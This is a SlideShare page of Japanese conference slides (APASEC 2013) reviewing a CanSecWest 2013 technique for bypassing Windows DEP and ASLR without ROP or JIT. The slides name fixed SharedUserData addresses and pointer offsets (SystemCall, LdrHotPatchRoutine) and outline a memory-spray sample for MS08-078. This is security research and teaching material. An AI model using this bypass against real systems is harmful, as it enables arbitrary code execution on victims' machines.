SlideShare a Scribd company logo

APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

CanSecWest 2013 で公開された資料を詳しく見てみた。

1 of 29
Download to read offline
ROP/JIT を使わずに   CanSecWest 2013 の
DEP/ASLR を回避する。    資料の検証。


                   を使わずに    を回避する。
お品書き
自己紹介
どんな資料なの
回避する対象の DEP / ASLR って、なんなの
今回の提案手法の概要とサンプルコード
実際に試してみた。
気になったところ。



                             を使わずに   を回避する。
自己紹介
三村 聡志 (@mimura1133) / APASEC 初参加
 http://mimumimu.net/
 http://facebook.com/mimura1133



セキュリティ&プログラミングキャンプ 2011 参加。
セキュリティ・キャンプ 2012 チュータ参加。


最近取材受けた [NEW!]
                                   を使わずに   を回避する。
どういう資料なのか。
             を使わずに   を回避する。
資料概要
CanSecWest Vancouver 2013 で発表された資料。
(http://cansecwest.com/csw13archive.html)
NSFOCUS Security Labs の
 Yang Yu さんが発表。


ROP や JIT を使わずに、
DEP や ASLR を回避して、
任意のコードを実行しよう、
という内容。
                                            を使わずに   を回避する。
回避したい
DEP/ASLR ってなに?
                 を使わずに   を回避する。

Recommended

リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー
リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リーリナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー
リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リーCODE BLUE
 
T sql の parse と generator
T sql の parse と generatorT sql の parse と generator
T sql の parse と generatorOda Shinsuke
 
RとSQLiteによるオミックス解析の促進
RとSQLiteによるオミックス解析の促進RとSQLiteによるオミックス解析の促進
RとSQLiteによるオミックス解析の促進弘毅 露崎
 
debugging server with strace
debugging server with stracedebugging server with strace
debugging server with straceYoshinari Takaoka
 
○○大学の本当にあった怖い話
○○大学の本当にあった怖い話○○大学の本当にあった怖い話
○○大学の本当にあった怖い話idkqh7 Nishino
 
Android Lecture #03 @PRO&BSC Inc.
Android Lecture #03 @PRO&BSC Inc.Android Lecture #03 @PRO&BSC Inc.
Android Lecture #03 @PRO&BSC Inc.Yuki Higuchi
 
超簡単! Redmineで体験 初めてのチケット管理
超簡単! Redmineで体験 初めてのチケット管理超簡単! Redmineで体験 初めてのチケット管理
超簡単! Redmineで体験 初めてのチケット管理Shin Tanigawa
 

More Related Content

What's hot

超簡単!Subversion入門 準備編
超簡単!Subversion入門 準備編超簡単!Subversion入門 準備編
超簡単!Subversion入門 準備編Shin Tanigawa
 
超簡単!Subversion入門 概念編
超簡単!Subversion入門 概念編超簡単!Subversion入門 概念編
超簡単!Subversion入門 概念編Shin Tanigawa
 
超簡単!SubversionとTortoiseSVN入門(操作編2)
超簡単!SubversionとTortoiseSVN入門(操作編2)超簡単!SubversionとTortoiseSVN入門(操作編2)
超簡単!SubversionとTortoiseSVN入門(操作編2)Shin Tanigawa
 
タスクマネージャーの上級版!Process Explorerの紹介
タスクマネージャーの上級版!Process Explorerの紹介タスクマネージャーの上級版!Process Explorerの紹介
タスクマネージャーの上級版!Process Explorerの紹介Shin Tanigawa
 
Local php-100828 2
Local php-100828 2Local php-100828 2
Local php-100828 2Akio Ishida
 
Synthesijer and Synthesijer.Scala in HLS-friends 201512
Synthesijer and Synthesijer.Scala in HLS-friends 201512Synthesijer and Synthesijer.Scala in HLS-friends 201512
Synthesijer and Synthesijer.Scala in HLS-friends 201512Takefumi MIYOSHI
 
超簡単! MySQLをWindowsにインストール
超簡単! MySQLをWindowsにインストール超簡単! MySQLをWindowsにインストール
超簡単! MySQLをWindowsにインストールShin Tanigawa
 
雑なMySQLパフォーマンスチューニング
雑なMySQLパフォーマンスチューニング雑なMySQLパフォーマンスチューニング
雑なMySQLパフォーマンスチューニングyoku0825
 
パケットキャプチャの定番! Wiresharkのインストールとミニ紹介
パケットキャプチャの定番! Wiresharkのインストールとミニ紹介パケットキャプチャの定番! Wiresharkのインストールとミニ紹介
パケットキャプチャの定番! Wiresharkのインストールとミニ紹介Shin Tanigawa
 
MySQLerの7つ道具 plus
MySQLerの7つ道具 plusMySQLerの7つ道具 plus
MySQLerの7つ道具 plusyoku0825
 
位置情報を使ったサービス「スマポ」をPostgreSQLで作ってみた db tech showcase 2013 Tokyo
位置情報を使ったサービス「スマポ」をPostgreSQLで作ってみた db tech showcase 2013 Tokyo位置情報を使ったサービス「スマポ」をPostgreSQLで作ってみた db tech showcase 2013 Tokyo
位置情報を使ったサービス「スマポ」をPostgreSQLで作ってみた db tech showcase 2013 TokyoYoshiyuki Asaba
 
イルカさんチームからゾウさんチームに教えたいMySQLレプリケーション
イルカさんチームからゾウさんチームに教えたいMySQLレプリケーションイルカさんチームからゾウさんチームに教えたいMySQLレプリケーション
イルカさんチームからゾウさんチームに教えたいMySQLレプリケーションyoku0825
 
シェル入門
シェル入門シェル入門
シェル入門ina job
 
超簡単!SubversionとTortoiseSVN入門(操作編1)
超簡単!SubversionとTortoiseSVN入門(操作編1)超簡単!SubversionとTortoiseSVN入門(操作編1)
超簡単!SubversionとTortoiseSVN入門(操作編1)Shin Tanigawa
 
Android デバッグ小ネタ
Android デバッグ小ネタAndroid デバッグ小ネタ
Android デバッグ小ネタl_b__
 
Filippo, plain simple reality of entropy ja
Filippo, plain simple reality of entropy jaFilippo, plain simple reality of entropy ja
Filippo, plain simple reality of entropy jaPacSecJP
 
ECMAScript 6 Features(PDF 版)
ECMAScript 6 Features(PDF 版)ECMAScript 6 Features(PDF 版)
ECMAScript 6 Features(PDF 版)taskie
 

What's hot (20)

超簡単!Subversion入門 準備編
超簡単!Subversion入門 準備編超簡単!Subversion入門 準備編
超簡単!Subversion入門 準備編
 
超簡単!Subversion入門 概念編
超簡単!Subversion入門 概念編超簡単!Subversion入門 概念編
超簡単!Subversion入門 概念編
 
超簡単!SubversionとTortoiseSVN入門(操作編2)
超簡単!SubversionとTortoiseSVN入門(操作編2)超簡単!SubversionとTortoiseSVN入門(操作編2)
超簡単!SubversionとTortoiseSVN入門(操作編2)
 
タスクマネージャーの上級版!Process Explorerの紹介
タスクマネージャーの上級版!Process Explorerの紹介タスクマネージャーの上級版!Process Explorerの紹介
タスクマネージャーの上級版!Process Explorerの紹介
 
Local php-100828 2
Local php-100828 2Local php-100828 2
Local php-100828 2
 
Synthesijer and Synthesijer.Scala in HLS-friends 201512
Synthesijer and Synthesijer.Scala in HLS-friends 201512Synthesijer and Synthesijer.Scala in HLS-friends 201512
Synthesijer and Synthesijer.Scala in HLS-friends 201512
 
超簡単! MySQLをWindowsにインストール
超簡単! MySQLをWindowsにインストール超簡単! MySQLをWindowsにインストール
超簡単! MySQLをWindowsにインストール
 
雑なMySQLパフォーマンスチューニング
雑なMySQLパフォーマンスチューニング雑なMySQLパフォーマンスチューニング
雑なMySQLパフォーマンスチューニング
 
パケットキャプチャの定番! Wiresharkのインストールとミニ紹介
パケットキャプチャの定番! Wiresharkのインストールとミニ紹介パケットキャプチャの定番! Wiresharkのインストールとミニ紹介
パケットキャプチャの定番! Wiresharkのインストールとミニ紹介
 
MySQLerの7つ道具 plus
MySQLerの7つ道具 plusMySQLerの7つ道具 plus
MySQLerの7つ道具 plus
 
位置情報を使ったサービス「スマポ」をPostgreSQLで作ってみた db tech showcase 2013 Tokyo
位置情報を使ったサービス「スマポ」をPostgreSQLで作ってみた db tech showcase 2013 Tokyo位置情報を使ったサービス「スマポ」をPostgreSQLで作ってみた db tech showcase 2013 Tokyo
位置情報を使ったサービス「スマポ」をPostgreSQLで作ってみた db tech showcase 2013 Tokyo
 
イルカさんチームからゾウさんチームに教えたいMySQLレプリケーション
イルカさんチームからゾウさんチームに教えたいMySQLレプリケーションイルカさんチームからゾウさんチームに教えたいMySQLレプリケーション
イルカさんチームからゾウさんチームに教えたいMySQLレプリケーション
 
シェル入門
シェル入門シェル入門
シェル入門
 
超簡単!SubversionとTortoiseSVN入門(操作編1)
超簡単!SubversionとTortoiseSVN入門(操作編1)超簡単!SubversionとTortoiseSVN入門(操作編1)
超簡単!SubversionとTortoiseSVN入門(操作編1)
 
Android デバッグ小ネタ
Android デバッグ小ネタAndroid デバッグ小ネタ
Android デバッグ小ネタ
 
01 php7
01   php701   php7
01 php7
 
Filippo, plain simple reality of entropy ja
Filippo, plain simple reality of entropy jaFilippo, plain simple reality of entropy ja
Filippo, plain simple reality of entropy ja
 
ECMAScript 6 Features(PDF 版)
ECMAScript 6 Features(PDF 版)ECMAScript 6 Features(PDF 版)
ECMAScript 6 Features(PDF 版)
 
Memory sanitizer
Memory sanitizerMemory sanitizer
Memory sanitizer
 
Kernel fcache-bug
Kernel fcache-bugKernel fcache-bug
Kernel fcache-bug
 

Viewers also liked

OSセキュリティチュートリアル
OSセキュリティチュートリアルOSセキュリティチュートリアル
OSセキュリティチュートリアルKuniyasu Suzaki
 
韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015
韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015
韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015CODE BLUE
 
CODE BLUE 2014 : [基調講演] IDA Proの歩みとこれから by イルファク・ギルファノヴ Ilfak Guilfanov
CODE BLUE 2014 : [基調講演] IDA Proの歩みとこれから by イルファク・ギルファノヴ Ilfak GuilfanovCODE BLUE 2014 : [基調講演] IDA Proの歩みとこれから by イルファク・ギルファノヴ Ilfak Guilfanov
CODE BLUE 2014 : [基調講演] IDA Proの歩みとこれから by イルファク・ギルファノヴ Ilfak GuilfanovCODE BLUE
 
動的計画法入門(An introduction to Dynamic Programming)
動的計画法入門(An introduction to Dynamic Programming)動的計画法入門(An introduction to Dynamic Programming)
動的計画法入門(An introduction to Dynamic Programming)kakira9618
 
hbstudy# 28 SELinux HandsOn 公開版
hbstudy# 28 SELinux HandsOn 公開版hbstudy# 28 SELinux HandsOn 公開版
hbstudy# 28 SELinux HandsOn 公開版Hiroki Ishikawa
 
CODE BLUE 2014 : [物理セキュリティ]サイバーセキュリティがすべてではない by インバー・ラズ INBAR RAZ
CODE BLUE 2014 : [物理セキュリティ]サイバーセキュリティがすべてではない by インバー・ラズ INBAR RAZCODE BLUE 2014 : [物理セキュリティ]サイバーセキュリティがすべてではない by インバー・ラズ INBAR RAZ
CODE BLUE 2014 : [物理セキュリティ]サイバーセキュリティがすべてではない by インバー・ラズ INBAR RAZCODE BLUE
 
基調講演:CTF: クールな奴らは皆やってるよ by クリス・イーグル
基調講演:CTF: クールな奴らは皆やってるよ by クリス・イーグル基調講演:CTF: クールな奴らは皆やってるよ by クリス・イーグル
基調講演:CTF: クールな奴らは皆やってるよ by クリス・イーグルCODE BLUE
 
Mirai botnet
Mirai botnetMirai botnet
Mirai botnetOWASP
 
CODE BLUE 2014 : [基調講演] サイバーセキュリティの5つの問題 - セキュリティプロフェッショナルとハッカーが地球を救う by ケレン・...
CODE BLUE 2014 : [基調講演] サイバーセキュリティの5つの問題 - セキュリティプロフェッショナルとハッカーが地球を救う by ケレン・...CODE BLUE 2014 : [基調講演] サイバーセキュリティの5つの問題 - セキュリティプロフェッショナルとハッカーが地球を救う by ケレン・...
CODE BLUE 2014 : [基調講演] サイバーセキュリティの5つの問題 - セキュリティプロフェッショナルとハッカーが地球を救う by ケレン・...CODE BLUE
 
MIRAI: What is It, How Does it Work and Why Should I Care?
MIRAI: What is It, How Does it Work and Why Should I Care?MIRAI: What is It, How Does it Work and Why Should I Care?
MIRAI: What is It, How Does it Work and Why Should I Care?Memoori
 
インターネッツの繋がるしくみ(TCP/IP編) #sa_study
インターネッツの繋がるしくみ(TCP/IP編) #sa_studyインターネッツの繋がるしくみ(TCP/IP編) #sa_study
インターネッツの繋がるしくみ(TCP/IP編) #sa_studyShinichiro Yoshida
 
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato KinugawaCODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato KinugawaCODE BLUE
 

Viewers also liked (14)

OSセキュリティチュートリアル
OSセキュリティチュートリアルOSセキュリティチュートリアル
OSセキュリティチュートリアル
 
韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015
韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015
韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015
 
CODE BLUE 2014 : [基調講演] IDA Proの歩みとこれから by イルファク・ギルファノヴ Ilfak Guilfanov
CODE BLUE 2014 : [基調講演] IDA Proの歩みとこれから by イルファク・ギルファノヴ Ilfak GuilfanovCODE BLUE 2014 : [基調講演] IDA Proの歩みとこれから by イルファク・ギルファノヴ Ilfak Guilfanov
CODE BLUE 2014 : [基調講演] IDA Proの歩みとこれから by イルファク・ギルファノヴ Ilfak Guilfanov
 
動的計画法入門(An introduction to Dynamic Programming)
動的計画法入門(An introduction to Dynamic Programming)動的計画法入門(An introduction to Dynamic Programming)
動的計画法入門(An introduction to Dynamic Programming)
 
hiding
hidinghiding
hiding
 
hbstudy# 28 SELinux HandsOn 公開版
hbstudy# 28 SELinux HandsOn 公開版hbstudy# 28 SELinux HandsOn 公開版
hbstudy# 28 SELinux HandsOn 公開版
 
CODE BLUE 2014 : [物理セキュリティ]サイバーセキュリティがすべてではない by インバー・ラズ INBAR RAZ
CODE BLUE 2014 : [物理セキュリティ]サイバーセキュリティがすべてではない by インバー・ラズ INBAR RAZCODE BLUE 2014 : [物理セキュリティ]サイバーセキュリティがすべてではない by インバー・ラズ INBAR RAZ
CODE BLUE 2014 : [物理セキュリティ]サイバーセキュリティがすべてではない by インバー・ラズ INBAR RAZ
 
基調講演:CTF: クールな奴らは皆やってるよ by クリス・イーグル
基調講演:CTF: クールな奴らは皆やってるよ by クリス・イーグル基調講演:CTF: クールな奴らは皆やってるよ by クリス・イーグル
基調講演:CTF: クールな奴らは皆やってるよ by クリス・イーグル
 
Mirai botnet
Mirai botnetMirai botnet
Mirai botnet
 
CODE BLUE 2014 : [基調講演] サイバーセキュリティの5つの問題 - セキュリティプロフェッショナルとハッカーが地球を救う by ケレン・...
CODE BLUE 2014 : [基調講演] サイバーセキュリティの5つの問題 - セキュリティプロフェッショナルとハッカーが地球を救う by ケレン・...CODE BLUE 2014 : [基調講演] サイバーセキュリティの5つの問題 - セキュリティプロフェッショナルとハッカーが地球を救う by ケレン・...
CODE BLUE 2014 : [基調講演] サイバーセキュリティの5つの問題 - セキュリティプロフェッショナルとハッカーが地球を救う by ケレン・...
 
MIRAI: What is It, How Does it Work and Why Should I Care?
MIRAI: What is It, How Does it Work and Why Should I Care?MIRAI: What is It, How Does it Work and Why Should I Care?
MIRAI: What is It, How Does it Work and Why Should I Care?
 
XSS再入門
XSS再入門XSS再入門
XSS再入門
 
インターネッツの繋がるしくみ(TCP/IP編) #sa_study
インターネッツの繋がるしくみ(TCP/IP編) #sa_studyインターネッツの繋がるしくみ(TCP/IP編) #sa_study
インターネッツの繋がるしくみ(TCP/IP編) #sa_study
 
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato KinugawaCODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
 

Similar to APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

Buffer overflow
Buffer overflowBuffer overflow
Buffer overflowionis111
 
今日からできる!簡単 .NET 高速化 Tips
今日からできる!簡単 .NET 高速化 Tips今日からできる!簡単 .NET 高速化 Tips
今日からできる!簡単 .NET 高速化 TipsTakaaki Suzuki
 
どこでも動くゲームを作るためのベタープラクティス
どこでも動くゲームを作るためのベタープラクティスどこでも動くゲームを作るためのベタープラクティス
どこでも動くゲームを作るためのベタープラクティス5mingame2
 
2011.09.18 v7から始めるunix まとめ
2011.09.18 v7から始めるunix まとめ2011.09.18 v7から始めるunix まとめ
2011.09.18 v7から始めるunix まとめMakiko Konoshima
 
20100717tobesetu
20100717tobesetu20100717tobesetu
20100717tobesetuakitsukada
 
スタート低レイヤー #0
スタート低レイヤー #0スタート低レイヤー #0
スタート低レイヤー #0Kiwamu Okabe
 
13016 n分で作るtype scriptでnodejs
13016 n分で作るtype scriptでnodejs13016 n分で作るtype scriptでnodejs
13016 n分で作るtype scriptでnodejsTakayoshi Tanaka
 
Jubatus分類器の活用テクニック
Jubatus分類器の活用テクニックJubatus分類器の活用テクニック
Jubatus分類器の活用テクニックJubatusOfficial
 
NGS解析を始めた時にぶつかりがちな小さい壁あれこれ
NGS解析を始めた時にぶつかりがちな小さい壁あれこれNGS解析を始めた時にぶつかりがちな小さい壁あれこれ
NGS解析を始めた時にぶつかりがちな小さい壁あれこれDNA Data Bank of Japan center
 
インメモリーで超高速処理を実現する場合のカギ
インメモリーで超高速処理を実現する場合のカギインメモリーで超高速処理を実現する場合のカギ
インメモリーで超高速処理を実現する場合のカギMasaki Yamakawa
 
Flutterを体験してみませんか
Flutterを体験してみませんかFlutterを体験してみませんか
Flutterを体験してみませんかcch-robo
 
4章 Linuxカーネル - 割り込み・例外 5
4章 Linuxカーネル - 割り込み・例外 54章 Linuxカーネル - 割り込み・例外 5
4章 Linuxカーネル - 割り込み・例外 5mao999
 
運用構築技術者の為のPSプログラミング第1回
運用構築技術者の為のPSプログラミング第1回運用構築技術者の為のPSプログラミング第1回
運用構築技術者の為のPSプログラミング第1回Shigeharu Yamaoka
 
【GTMF2018OSAKA】ハードウェアの性能を活かす為の、Unityの新しい3つの機能
【GTMF2018OSAKA】ハードウェアの性能を活かす為の、Unityの新しい3つの機能【GTMF2018OSAKA】ハードウェアの性能を活かす為の、Unityの新しい3つの機能
【GTMF2018OSAKA】ハードウェアの性能を活かす為の、Unityの新しい3つの機能Unity Technologies Japan K.K.
 
Ecmascript2015とその周辺について
Ecmascript2015とその周辺についてEcmascript2015とその周辺について
Ecmascript2015とその周辺について豊明 尾古
 

Similar to APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。 (20)

Buffer overflow
Buffer overflowBuffer overflow
Buffer overflow
 
今日からできる!簡単 .NET 高速化 Tips
今日からできる!簡単 .NET 高速化 Tips今日からできる!簡単 .NET 高速化 Tips
今日からできる!簡単 .NET 高速化 Tips
 
What is Metasepi?
What is Metasepi?What is Metasepi?
What is Metasepi?
 
どこでも動くゲームを作るためのベタープラクティス
どこでも動くゲームを作るためのベタープラクティスどこでも動くゲームを作るためのベタープラクティス
どこでも動くゲームを作るためのベタープラクティス
 
Introduction of Python
Introduction of PythonIntroduction of Python
Introduction of Python
 
2011.09.18 v7から始めるunix まとめ
2011.09.18 v7から始めるunix まとめ2011.09.18 v7から始めるunix まとめ
2011.09.18 v7から始めるunix まとめ
 
20100717tobesetu
20100717tobesetu20100717tobesetu
20100717tobesetu
 
スタート低レイヤー #0
スタート低レイヤー #0スタート低レイヤー #0
スタート低レイヤー #0
 
13016 n分で作るtype scriptでnodejs
13016 n分で作るtype scriptでnodejs13016 n分で作るtype scriptでnodejs
13016 n分で作るtype scriptでnodejs
 
Jubatus分類器の活用テクニック
Jubatus分類器の活用テクニックJubatus分類器の活用テクニック
Jubatus分類器の活用テクニック
 
NGS解析を始めた時にぶつかりがちな小さい壁あれこれ
NGS解析を始めた時にぶつかりがちな小さい壁あれこれNGS解析を始めた時にぶつかりがちな小さい壁あれこれ
NGS解析を始めた時にぶつかりがちな小さい壁あれこれ
 
インメモリーで超高速処理を実現する場合のカギ
インメモリーで超高速処理を実現する場合のカギインメモリーで超高速処理を実現する場合のカギ
インメモリーで超高速処理を実現する場合のカギ
 
Visual studio de debug
Visual studio de debugVisual studio de debug
Visual studio de debug
 
Flutterを体験してみませんか
Flutterを体験してみませんかFlutterを体験してみませんか
Flutterを体験してみませんか
 
Cpu cache arch
Cpu cache archCpu cache arch
Cpu cache arch
 
4章 Linuxカーネル - 割り込み・例外 5
4章 Linuxカーネル - 割り込み・例外 54章 Linuxカーネル - 割り込み・例外 5
4章 Linuxカーネル - 割り込み・例外 5
 
運用構築技術者の為のPSプログラミング第1回
運用構築技術者の為のPSプログラミング第1回運用構築技術者の為のPSプログラミング第1回
運用構築技術者の為のPSプログラミング第1回
 
【GTMF2018OSAKA】ハードウェアの性能を活かす為の、Unityの新しい3つの機能
【GTMF2018OSAKA】ハードウェアの性能を活かす為の、Unityの新しい3つの機能【GTMF2018OSAKA】ハードウェアの性能を活かす為の、Unityの新しい3つの機能
【GTMF2018OSAKA】ハードウェアの性能を活かす為の、Unityの新しい3つの機能
 
Ecmascript2015とその周辺について
Ecmascript2015とその周辺についてEcmascript2015とその周辺について
Ecmascript2015とその周辺について
 
Ll xcode
Ll xcodeLl xcode
Ll xcode
 

More from Satoshi Mimura

おうちで簡単ハードウェアセキュリティ
おうちで簡単ハードウェアセキュリティおうちで簡単ハードウェアセキュリティ
おうちで簡単ハードウェアセキュリティSatoshi Mimura
 
Edomae 2015 - マルウェアを解析してみよう
Edomae 2015 - マルウェアを解析してみようEdomae 2015 - マルウェアを解析してみよう
Edomae 2015 - マルウェアを解析してみようSatoshi Mimura
 
Visual Studio で TeX 編集
Visual Studio で TeX 編集Visual Studio で TeX 編集
Visual Studio で TeX 編集Satoshi Mimura
 
3本指ジェスチャでの 仮想デスクトップ機能を Windows に実装した話
3本指ジェスチャでの仮想デスクトップ機能を Windows に実装した話3本指ジェスチャでの仮想デスクトップ機能を Windows に実装した話
3本指ジェスチャでの 仮想デスクトップ機能を Windows に実装した話Satoshi Mimura
 
アプリ作者と Windows XP
アプリ作者と Windows XPアプリ作者と Windows XP
アプリ作者と Windows XPSatoshi Mimura
 
マシン語によるコード実行
マシン語によるコード実行マシン語によるコード実行
マシン語によるコード実行Satoshi Mimura
 
Iron python と c sharp
Iron python と c sharpIron python と c sharp
Iron python と c sharpSatoshi Mimura
 
Unix と windows 世界の融合
Unix と windows 世界の融合Unix と windows 世界の融合
Unix と windows 世界の融合Satoshi Mimura
 
Windows Phone 7 と XNA の世界
Windows Phone 7 と XNA の世界Windows Phone 7 と XNA の世界
Windows Phone 7 と XNA の世界Satoshi Mimura
 

More from Satoshi Mimura (13)

Inside wsl
Inside wslInside wsl
Inside wsl
 
Inside wsl
Inside wslInside wsl
Inside wsl
 
おうちで簡単ハードウェアセキュリティ
おうちで簡単ハードウェアセキュリティおうちで簡単ハードウェアセキュリティ
おうちで簡単ハードウェアセキュリティ
 
某Ctf にて writeup
某Ctf にて writeup某Ctf にて writeup
某Ctf にて writeup
 
Edomae 2015 - マルウェアを解析してみよう
Edomae 2015 - マルウェアを解析してみようEdomae 2015 - マルウェアを解析してみよう
Edomae 2015 - マルウェアを解析してみよう
 
Visual Studio で TeX 編集
Visual Studio で TeX 編集Visual Studio で TeX 編集
Visual Studio で TeX 編集
 
3本指ジェスチャでの 仮想デスクトップ機能を Windows に実装した話
3本指ジェスチャでの仮想デスクトップ機能を Windows に実装した話3本指ジェスチャでの仮想デスクトップ機能を Windows に実装した話
3本指ジェスチャでの 仮想デスクトップ機能を Windows に実装した話
 
WHAT_A_KERNEL_IRQL
WHAT_A_KERNEL_IRQLWHAT_A_KERNEL_IRQL
WHAT_A_KERNEL_IRQL
 
アプリ作者と Windows XP
アプリ作者と Windows XPアプリ作者と Windows XP
アプリ作者と Windows XP
 
マシン語によるコード実行
マシン語によるコード実行マシン語によるコード実行
マシン語によるコード実行
 
Iron python と c sharp
Iron python と c sharpIron python と c sharp
Iron python と c sharp
 
Unix と windows 世界の融合
Unix と windows 世界の融合Unix と windows 世界の融合
Unix と windows 世界の融合
 
Windows Phone 7 と XNA の世界
Windows Phone 7 と XNA の世界Windows Phone 7 と XNA の世界
Windows Phone 7 と XNA の世界
 

APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

  • 1. ROP/JIT を使わずに CanSecWest 2013 の DEP/ASLR を回避する。 資料の検証。 を使わずに を回避する。
  • 2. お品書き 自己紹介 どんな資料なの 回避する対象の DEP / ASLR って、なんなの 今回の提案手法の概要とサンプルコード 実際に試してみた。 気になったところ。 を使わずに を回避する。
  • 3. 自己紹介 三村 聡志 (@mimura1133) / APASEC 初参加  http://mimumimu.net/  http://facebook.com/mimura1133 セキュリティ&プログラミングキャンプ 2011 参加。 セキュリティ・キャンプ 2012 チュータ参加。 最近取材受けた [NEW!] を使わずに を回避する。
  • 4. どういう資料なのか。 を使わずに を回避する。
  • 5. 資料概要 CanSecWest Vancouver 2013 で発表された資料。 (http://cansecwest.com/csw13archive.html) NSFOCUS Security Labs の Yang Yu さんが発表。 ROP や JIT を使わずに、 DEP や ASLR を回避して、 任意のコードを実行しよう、 という内容。 を使わずに を回避する。
  • 6. 回避したい DEP/ASLR ってなに? を使わずに を回避する。
  • 7. DEP (データ実行防止) メモリ上のデータに「実行不可能」という 印をつけて、動作を制限する。  攻撃者が不正なプログラムを送り込む際に、 本来は実行プログラムのデータが格納されるはずのない 場所にデータを格納して、実行させようとする所に着目。  下手なシェルコードを送り込むと、これで弾かれる。  カーネルでやらかすと ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY が発生。 を使わずに を回避する。
  • 8. DEP (データ実行防止) 詳しく書くと :  x86_64 版 Windows + x86_64 環境用の実行ファイル  全てに適用される。 (AlwaysOn) BCD にて nx = AlwaysOff と指定すれば外れる。  スレッドスタック (Kernel,User), ページ領域 (User), Paged pool (Kernel), Session Pool (Kernel) が対象。  x86 版 Windows or x86 環境用の実行ファイル  重要なもののみに原則適用。 (OutIn) ただし、サーバ用OS では原則全て (OptOut)  なお、PAE (Physical Address Extension) が有効な環境でないと、ハードウェア DEP が有効にならない。  スレッドスタック (User), ページ領域 (User) 参照元:Windows Internals 6 th を斜め読み。 を使わずに を回避する。
  • 9. ASLR (アドレス空間配置のランダム化) 下記データのメモリアドレスを不定にする。  イメージ(実行データ)  スタック領域  ヒープ領域  攻撃者がプログラム内部のコードを攻撃をするためにうまく組み合わせて攻撃してくること があるが、内部コードの位置を不定にすることにより、攻撃をやりにくくする。  分からなければ、3時のおやつを 「いつも同じ特定の場所」 に隠しておくと、 いつの間にかバレて、おやつが食べられてしまうことを想像しよう。 を使わずに を回避する。
  • 10. ASLR (アドレス空間配置のランダム化) 詳しく書くと:  (イメージデータ) TSC (CPU のタイムスタンプ値) を元に 8ビットの値を生成し、 254 で割り、1を足したものに 64KB を掛けたものを用いる。 DLL に関してはシステム起動時に1回計算し、その値を元にランダム化する。  (スタック) TSC を元に5ビットの値を生成して領域を決め、その後 9ビットの値を生成し直して 4を掛けた値を、最終的なスタックのアドレスとする。  (ヒープ)TSC を元に5ビットの値を生成し、そこに 64KB を掛けた値をアドレスとする。  イメージは (0x50000000 – 0x78000000) ヒープは (0x00000000 – 0x001F0000) の範囲。 参照元:Windows Internals 6 th を斜め読み。 を使わずに を回避する。
  • 11. ROP (Return-Oriented-Programming) イメージとしては、 新聞で脅迫文(失礼)を作るような感じ。 仕掛けとしては、 “ret” 命令で戻る際のアドレスが書き込まれているスタック領域を、 プログラム内でつかえそうな部分のアドレスに書き換える。  あとは、ret -> 指定箇所が実行される -> ret -> 指定箇所2が実行される… の繰り返し。 実行不可能な場所を使っているのでは無く、 実行可能なコードを組み合わせて使う。 先述の DEP に対してはこれで何とかなる。 ただ ASLR が掛かってると、欲しい箇所のアドレスが分からない。 を使わずに を回避する。
  • 12. JIT (Just-In-Time) [Compiler] 身近な例では  Microsoft .NET, Mono, Java, JavaScript (実装による) 実行中に「実行可能コード」を ”生成” する。  実行中に悪用可能なコードを実行可能コードとして配置できる。 過去にあった例:PDF (BlackHat DC 2010) を使わずに を回避する。
  • 13. でも動かすのめんどい。 JIT コンパイラがあって、かつそれが使えそうな感じかどうか。 ROP が出来そうな、 ASLR の掛かっていないやつがあるかどうか。 => ではこれ以外の環境ではどうするの?  今回の発表. を使わずに を回避する。
  • 14. 概要とサンプルコード を使わずに を回避する。
  • 15. 概要 Windows NT4 以降の Windows では、 0x7ffe0000 に SharedUserData 構造体のデータが アドレス固定で置かれている。 (アドレス固定なので、面倒くさいことせず、決め打ちで呼び出せる!)  [いつも同じ場所にお菓子を隠しているので、食べ放題!] を使わずに を回避する。
  • 16. 概要 x86 環境では:  0x7ffe0000 + 0x300 の位置に SystemCall へのポインタが置かれている。  ax (eax ではない) の値を正しく設定し、 SystemCall を呼べれば、システムコールできる! x86_64 環境 (for x86 アプリケーション) では:  0x7ffe0000 + 0x340 の位置から Wow64SharedInformation 構造体のデータが格納されている。  その中からさらに +0x010 した位置 ( 0x7ffe0350 ) に、 ntdll!LdrHotPatchRoutine へのポインタが置かれている。  このAPIを使って、任意の DLL を読み込ませて、任意のコードを実行できる! を使わずに を回避する。
  • 17. SystemCall を使った手法 (for x86) MS08-078 (ポインタ参照の メモリ破壊の脆弱性) を応用したサンプル。 eax の先を “7c02fe7f” (0x7ffe027c + 0x84 = KiFastSystemCall) になるようにメモリを埋めておく。 このコードが成功すると、 0x11db のシステムコールが実行される。 を使わずに を回避する。
